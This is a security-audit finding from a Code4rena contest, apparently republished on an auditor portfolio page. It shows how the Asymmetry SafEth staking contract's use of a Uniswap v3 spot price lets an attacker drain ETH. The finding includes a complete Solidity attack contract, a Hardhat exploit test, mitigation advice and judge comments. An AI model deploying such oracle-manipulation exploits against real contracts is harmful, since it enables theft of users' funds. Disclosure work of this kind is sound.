Asymmetry contest - Shogoki's results

A protocol to help diversify and decentralize liquid staking derivatives.

General Information

Platform: Code4rena

Start Date: 24/03/2023

Pot Size: $49,200 USDC

Total HM: 20

Participants: 246

Period: 6 days

Judge: Picodes

Total Solo HM: 1

Id: 226

League: ETH

Asymmetry Finance

Findings Distribution

Researcher Performance

Rank: 244/246

Findings: 1

Award: $0.14

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L72-L75 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L81 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L91-L95 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L98 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L223 https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L228-L242

Vulnerability details

Impact

The implementation of the Reth Derivatives ethperDerivative() function vulnerable to Price manipulation. In conjunction with multiple calls to ethperDerivative() is SafEth´s stake function this allows an attacker to drain funds from the Contract.

Because ethPerDerivative can give different results, each time it is called in the stake function, an attacker can manipulate it, to return a higher result in one case, than in the other to take a benefit. In worst case the attacker can make the first call, which is used to calculate underlyingValue, return 0 and therefore get more SafEth Token in the end. (see PoC)

Proof of Concept

Attack Outline

An Attacker, having access to a large amount of rETH token (rETH whale or obtained via flashloan and swap) can perform the following steps (full attack contract code below).

  1. Set the amount of free capacity in the RocketEthDepositPool to a little less than the balance of the Reth-Derivative by depositing/burning into the Pool (see _setRETHPoolCap function)
  2. Calculate the amount to stake in safEth to get rocketPoolFreeCapacity / 2 for depositing into rEth (see _getStakeAmountfunction) Provide direct links to all referenced code in GitHub. Add screenshots, logs, or any other relevant proof that illustrates the concept.
  3. Manpiulate the Uniswapv3 Pool Price by selling a large amount of rEth Token (see _bringPoolPriceDown function) in this PoC this will result in a returned poolPrice of `0``
  4. In a Loop:
    1. stake the calculated amount (see step 2.) in the safEth contract. (NOTE: This will mint more SafEth than it should because of the price Manipulation)
    2. unstake all SafEth Token we have. (NOTE: This will result in having more ETH than before)
    3. set the RocketEthDepositPool capacity to a desired state (like in step 1.)
    4. calculate the new stakeAmount (like in step 2.)
  5. revert price manipulation by selling the WETH for rETH again (see function _bringPoolPriceUp)

Explanation

In safEths stake function the derivatives ethPerDerivative function gets called 3 times per derivative. Each time possibly returning a different value!

First to calculate the underlying value, which is used then to calculate the preDepositPrice. In this case we pass the current Balance of the Derivative to the function:

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L72-L75

       underlyingValue +=
                (derivatives[i].ethPerDerivative(derivatives[i].balance()) *
                    derivatives[i].balance()) /
                10 ** 18;

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L81

preDepositPrice = (10 ** 18 * underlyingValue) / totalSupply;

And later, to calculate the staked ETH value (one call is inside the RETH derivatives deposit function). This time we pass the amount of ETH to stake for the derivative to the function:

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L91-L95

            uint256 depositAmount = derivative.deposit{value: ethAmount}();
            uint derivativeReceivedEthValue = (derivative.ethPerDerivative(
                depositAmount
            ) * depositAmount) / 10 ** 18;
            totalStakeValueEth += derivativeReceivedEthValue;

These values are used to calculate the amount of Tokens to mint:

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/SafEth.sol#L98

 uint256 mintAmount = (totalStakeValueEth * 10 ** 18) / preDepositPrice;

NOTE: As we divide by the preDepositPrice, a manipulation to get this lower than expected, while keeping the same amount of derivativeReceivedEthValue will result in more tokens minted, than intended.

Depending on a Derivative implementation of ethPerDerivative it is possible that 2 calls return a different response (use different oracles). Specifically in this implementation, that is the case for the RETH Derivative:

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L211-L223

The ethPerDerivative function check´s if the passed amount is fitting in the RocketEthDepositPool, if that is the case it used the rETH Token´s getEthValue() function. If the amount does not fit in the pool, it uses the UniswapV3 pool Price as an Oracle.

https://github.com/code-423n4/2023-03-asymmetry/blob/44b5cd94ebedc187a08884a7f685e950e987261c/contracts/SafEth/derivatives/Reth.sol#L228-L242

function poolPrice() private view returns (uint256) {
    address rocketTokenRETHAddress = RocketStorageInterface(
        ROCKET_STORAGE_ADDRESS
    ).getAddress(
            keccak256(
                abi.encodePacked("contract.address", "rocketTokenRETH")
            )
        );
    IUniswapV3Factory factory = IUniswapV3Factory(UNI_V3_FACTORY);
    IUniswapV3Pool pool = IUniswapV3Pool(
        factory.getPool(rocketTokenRETHAddress, W_ETH_ADDRESS, 500)
    );
    (uint160 sqrtPriceX96, , , , , , ) = pool.slot0();
    return (sqrtPriceX96 * (uint(sqrtPriceX96)) * (1e18)) >> (96 * 2);
}

The way, the Uniswap Pool is used as Price Oracle (by getting the price via slot0()) is not the recommended way of using Uniswap Pools as Oracle, because it is vulnerable to Price manipulation! (For better ways see Recommended Mitigation Steps).

The attack works by manipulating the UniSwapv3 PoolPrice to be significantly low, and then forcing the first call of ethPerDerivative (which is used to calculate the underlyingValue) to use this Pool as Oracle, but still keep the later calls (which are used to calculate the staked Amount) using the RocketEth Token as Oracle.

Because the first call uses the whole balance as argument to ethPerDerivative and the later ones only the ETH to be staked, this is possible by manipulating the free Capacity in the RocketEthDepositPool and setting it to be lower than the Balance of the rETH Derivative, but higher than the amount of ETH to be staked in rETH for the current call.

This results in a preDepositPrice lower than it should be and therefore minting more safEth Token.

As in the unstake function the safEth Token is treated as a percentage of the total protocols balance, we can withdraw more ETH, than initially staked by unstaking all our safETH Token directly afterwards.

This procedure can be repeated until the calculated stakeAmount would be less than the minimum stake. By then we already stole most of the protocols ETH.

Exploit Contract Functions

Below relevant functions of the Exploitation Contract.

 function attack2(uint _amount, uint8 _derivateIdx) external payable  {
        require(msg.sender == owner, "onlyOwner");
        // get min Stake Amount
        uint minStake = safEth.minAmount();
        //TRANSFER RETH TO CONRACT
        RocketTokenRETHInterface reth = RocketTokenRETHInterface(rethAddress());
        reth.transferFrom(msg.sender,address(this), _amount);
        // calculate amount to stake and set the Rocket Deposit Pool to desired state
        uint256 stakeAmount = _getStakeAmount(_derivateIdx);
        // if stake Amount is too low, theres noting to do but to return the funds.
        if(stakeAmount < minStake) {
            reth.transfer(owner, reth.balanceOf(address(this)));
            payable(owner).transfer(address(this).balance);
            return;
         }

        // Manipulate Pool Price ()
         _bringPoolPriceDown();

        // High approval for our safEth
        safEth.approve(address(safEth),0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff);
        // Theoretically we could do a while loop checking if there´s still balance in the RETH derivative
        // However, this would require some gas Optimizations, because it was running out of gas. therefore i limit it to 25 calls
        //To drain all funds, we will have to call the attack multiple times.
        for (uint8 i = 0; i < 25; ) {
            if(stakeAmount < minStake) {
                // If we reacked minStake we are done
                break;
            }
            // staking the calculated amount
            safEth.stake{value: stakeAmount}();
            //unstaking all safEth Token
            safEth.unstake(safEth.balanceOf(address(this)));
            //calculate new stake amount
            stakeAmount = _getStakeAmount(_derivateIdx);
            unchecked {
                i++;
            }
            
        }

         // Bring Pool Price Up again
         _bringPoolPriceUp();
         //Transfer assets back to owner
         reth.transfer(owner, reth.balanceOf(address(this)));
         payable(owner).transfer(address(this).balance);

    }

    function _getStakeAmount(uint256 _derivateIdx) private returns (uint256) {
        // set RETH Pool Capacity and divide the capacity by 2.
        // We have to do this, because ethPerDerivative is called twice, and second time is after depositing to the pool. Therefore having the full capacity deposited would result in using the Uniswap Pool as Oracle, which we do not want.
        uint256 desiredRethPart =  _setRETHPoolCap(safEth.derivatives(_derivateIdx)) / 2; 
        // Caclulate the stake Amount based on the Weights
        uint maxStakeAmount = (desiredRethPart * safEth.weights(_derivateIdx)) / safEth.weights(_derivateIdx);
        return (maxStakeAmount);

    }

    function _setRETHPoolCap(IDerivative _dreth ) private returns (uint256) {
        
        // We require to have the capacity a little bit less then the Derivative Tokens balance
        uint maxRequiredCap = _dreth.balance() -10;
        RocketTokenRETHInterface reth = RocketTokenRETHInterface(rethAddress());
        // get the RocketPoolData
        (uint256 balance, uint256 max, ) = _getRocketPoolData();
        // Check if we are good to go or we have to deposit/burn tokens
        if(max - balance == maxRequiredCap) {return maxRequiredCap;}
        if(max - balance < maxRequiredCap) {
            // need to withdraw to reach capacity
            uint capGap = maxRequiredCap - (max - balance);
            uint256 amountToBurn = reth.getRethValue(address(reth).balance + capGap);
            reth.burn(amountToBurn);
        }
        else {
            //need to deposit tokens
            uint capGap = (max - balance) - maxRequiredCap;
            _depositReth(capGap);

        }
        return maxRequiredCap;


    }
    function _depositReth(uint _amount) private {
         address rocketDepositPoolAddress = RocketStorageInterface(
            ROCKET_STORAGE_ADDRESS
        ).getAddress(
                keccak256(
                    abi.encodePacked("contract.address", "rocketDepositPool")
                )
            );

        RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface(
                rocketDepositPoolAddress
            );
        rocketDepositPool.deposit{value: _amount}();
    }
  
    function _bringPoolPriceDown() private{
        // Sell all our RETH for WETH
        IERC20 reth = IERC20(rethAddress());
        uint256 amountSwapped = swapExactInputSingleHop(
                address(reth),
                W_ETH_ADDRESS,
                500,
                reth.balanceOf(address(this)),
                0
            );
    }
    function _bringPoolPriceUp() private {
        // Sell all our WETH for REth
        IERC20 weth = IERC20(W_ETH_ADDRESS);
        uint256 amountSwapped = swapExactInputSingleHop(
                W_ETH_ADDRESS,
                rethAddress(),
                500,
                weth.balanceOf(address(this)),
                0
            );

    }
    function _getRocketPoolData() private view returns (uint256, uint256, uint256) {
        address rocketDepositPoolAddress = RocketStorageInterface(
            ROCKET_STORAGE_ADDRESS
        ).getAddress(
                keccak256(
                    abi.encodePacked("contract.address", "rocketDepositPool")
                )
            );
        RocketDepositPoolInterface rocketDepositPool = RocketDepositPoolInterface(
                rocketDepositPoolAddress
            );

        address rocketProtocolSettingsAddress = RocketStorageInterface(
            ROCKET_STORAGE_ADDRESS
        ).getAddress(
                keccak256(
                    abi.encodePacked(
                        "contract.address",
                        "rocketDAOProtocolSettingsDeposit"
                    )
                )
            );
        RocketDAOProtocolSettingsDepositInterface rocketDAOProtocolSettingsDeposit = RocketDAOProtocolSettingsDepositInterface(
                rocketProtocolSettingsAddress
            );
        return (rocketDepositPool.getBalance(),rocketDAOProtocolSettingsDeposit.getMaximumDepositPoolSize(), rocketDAOProtocolSettingsDeposit.getMinimumDeposit());
    }

The attack was called by ethers.js like this. Before this the following part of original Integration Tests ran:

  • Should deploy the strategy contract
  • Should deploy derivative contracts and add them to the strategy contract with equal weights
  • Should stake a random amount 3 times for each user
 it("Exploit", async function() {
    // Getting signer and safEth & rETHContract
    const [attacker] = await ethers.getSigners();
    const strategy = await getLatestContract(strategyContractAddress, "SafEth");
    const rETH =  await ethers.getContractAt(
      "@openzeppelin/contracts/token/ERC20/IERC20.sol:IERC20",
      "0xae78736Cd615f374D3085123A210448E74Fc6393"
      );
    //Imagine having a good ampount of RETH: in this case we do transfer them from a whale
    const RETH_WHALE_ADDRESS =  "0xCc9EE9483f662091a1de4795249E24aC0aC2630f";
    // we need to give him eth for gas
    await ethers.provider.send("hardhat_setBalance", [
      RETH_WHALE_ADDRESS,
        "0xA968163F0A57B400000", //50k ETH
      ]);
    const rETHWhale = await ethers.getImpersonatedSigner(RETH_WHALE_ADDRESS);
    console.log("transfer reth")
    await rETH.connect(rETHWhale).transfer(attacker.address,ethers.utils.parseEther("3000"));
    
    // Deploying the Attack Contract
    console.log("deploy attack")
    const factory = await ethers.getContractFactory("AttackSafEth", attacker);
    const attack = await factory.deploy(strategy.address);
    // saving our balances before
    const ethBefore = await ethers.provider.getBalance(attacker.address);
    const rethBefore = await rETH.balanceOf(attacker.address);
    console.log("Attacker ETH:", ethers.utils.formatEther(ethBefore))
    console.log("Attacker rETH:", ethers.utils.formatEther(rethBefore));
    // Running our Attack 3 times in a loop
    console.log("run attack")
    for(let i = 1; i<= 3; i++) {
      console.log("Loop", i);
      // Approve spending of RETH
      await rETH.connect(attacker).approve(attack.address,ethers.utils.parseEther("3000"));
      // Call actual attack with 2150 RETH and passing 200 ETH in
      await attack.attack2(ethers.utils.parseEther("2150"),0,{value: ethers.utils.parseEther("200"), gasLimit: 30000000});
    }
    // Check Balances afterwards
    const ethAfter = await ethers.provider.getBalance(attacker.address);
    const rethAfter = await rETH.balanceOf(attacker.address);
    console.log("Attacker ETH:", ethers.utils.formatEther(ethAfter))
    console.log("Attacker rETH:", ethers.utils.formatEther(rethAfter));
    console.log("ETH P/L", ethers.utils.formatEther(ethAfter.sub(ethBefore)))
    console.log("rETH P/L",  ethers.utils.formatEther(rethAfter.sub(rethBefore)));

    // Attacker should have more eth than before.
    expect(await ethers.provider.getBalance(attacker.address)).to.be.gt(ethBefore);
  });

Tools Used

  • Manual inspection of the code
  • rETH and Uniswap documentation
  • Hardhat

A call of derivativesPerEth should return always the same amount for one transaction to mitigate this kind of manipulation attack.

The use of UniswapV3 as a Price Oracle should not be done by obtaining the current price via slot0(), but using a function which incorporates historical prices. Uniswap recommends to use the observe function for this purpose. For further details see https://docs.uniswap.org/concepts/protocol/oracle and https://uniswapv3book.com/docs/milestone_5/price-oracle/

#0 - c4-pre-sort

2023-04-01T06:45:46Z

0xSorryNotSorry marked the issue as high quality report

#1 - c4-pre-sort

2023-04-04T11:05:45Z

0xSorryNotSorry marked the issue as primary issue

#2 - toshiSat

2023-04-07T17:27:39Z

This seems like a duplicate of many other price oracle tickets

#3 - elmutt

2023-04-07T17:28:49Z

Known issue from other reports. We are going to use a chainlink price oracle instead of uniswap v3 price to solve.

#4 - c4-sponsor

2023-04-07T17:29:03Z

elmutt marked the issue as sponsor confirmed

#5 - c4-judge

2023-04-19T11:03:58Z

Picodes marked the issue as satisfactory

#6 - c4-judge

2023-04-21T16:15:41Z

Picodes marked the issue as duplicate of #1125

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter